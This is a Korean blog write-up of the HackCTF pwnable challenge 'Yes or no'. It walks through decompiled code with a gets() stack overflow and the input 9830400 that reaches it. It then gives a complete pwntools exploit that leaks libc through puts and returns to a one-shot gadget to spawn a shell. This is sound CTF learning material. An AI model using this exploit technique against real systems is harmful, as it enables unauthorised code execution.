[HackCTF] Yes or no 풀이 (150p)
Wargame/HackCTF

[HackCTF] Yes or no 풀이 (150p)

풀이

dreamhack에서 기본적인 포너블 문제를 풀고왔다.

이제 다시 HackCTF pwnable, wargame WriteUp을 작성해보려고 한다.

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)


Yes or no 파일을 먼저 실행해보자.

단순하게 숫자를 물어보는 프로그램이다.

IDA로 열어 슈도코드를 확인해보도록 하겠다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  int v4; // eax
  int v5; // ecx
  int v6; // eax
  int v7; // eax
  char s; // [rsp+Eh] [rbp-12h]
  int v10; // [rsp+18h] [rbp-8h]
  int v11; // [rsp+1Ch] [rbp-4h]

  setvbuf(stdout, 0LL, 2, 0LL);
  v11 = 5;
  puts("Show me your number~!");
  fgets(&s, 10, stdin);
  v10 = atoi(&s);
  if ( (v11 - 10) >> 3 < 0 )
  {
    v4 = 0;
  }
  else
  {
    v3 = v11++;
    v4 = v10 - v3;
  }
  if ( v4 == v10 )
  {
    puts("Sorry. You can't come with us");
  }
  else
  {
    v5 = 1204 / ++v11;
    v6 = v11++;
    if ( v10 == v6 * v5 << (++v11 % 20 + 5) )
    {
      puts("That's cool. Follow me");
      gets(&s);
    }
    else
    {
      v7 = v11--;
      if ( v10 == v7 )
      {
        printf("Why are you here?");
        return 0;
      }
      puts("All I can say to you is \"do_system+1094\".\ngood luck");
    }
  }
  return 0;
}

음.. if ( v10 == v6 * v5 << (++v11 % 20 + 5) )를 만족하면 gets(&s)를 실행한다.

gets 부분을 이용해 오버플로우를 발생시킬 수 있을 거 같다.

해당 조건문을 만족시키는 값을 다시 코딩해서 확인해봤다.

> 조건문을 만족시키는 값은 9830400이다.

 

libc leak을 이용해 base address를 구하고, ret를 oneshot gadget으로 덮으면 쉘을 딸 수 있을 듯하다.

dreamhack에서 공부한 보람이 있다.

do_system+1094 관련된 문제도 pwnable.kr에서 풀어봤기 때문에 별 신경 안쓰고 그냥 문제를 풀었다.

페이로드는 다음과 같다.

  1 from pwn import *
  2
  3 context.log_level = 'debug'
  4
  5 p = remote('ctf.j0n9hyun.xyz',3009)
  6 e = ELF('./yes_or_no')
  7 libc = ELF('./libc-2.27.so')
  8 pop_rdi = 0x0000000000400883
  9
 10 payload = '\x90'*0x12
 11 payload += 'A'*8
 12 payload += p64(pop_rdi)
 13 payload += p64(e.got['puts'])
 14 payload += p64(e.plt['puts'])
 15 payload += p64(e.symbols['main'])
 16
 17 #payload = '\x90'*26
 18 #payload += p64(oneshot)
 19 #payload += p64(oneshot)
 20
 21 p.recvline()
 22 p.sendline('9830400')
 23
 24 p.recvuntil('me\n')
 25 p.sendline(payload)
 26
 27 arr = u64(p.recvuntil('\x7f').ljust(8, '\x00'))
 28 base = arr - libc.symbols['puts']
 29 oneshot = base + 0x4f2c5
 30
 31 payload = '\x90'*0x12
 32 payload += 'A'*8
 33 payload += p64(oneshot)
 34
 35 p.recvline()
 36 p.sendline('9830400')
 37 p.recvuntil('me\n')
 38 p.sendline(payload)
 39 p.interactive()

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] g++ pwn 풀이 (200p)  (0) 2020.08.23
[HackCTF] RTL_World 풀이 (200p)  (0) 2020.08.23
[HackCTF] Pwnable 후기  (0) 2020.07.18
[HackCTF] BOF_PIE 풀이 (150p)  (0) 2020.07.16
[HackCTF] Offset 풀이 (150p)  (0) 2020.07.15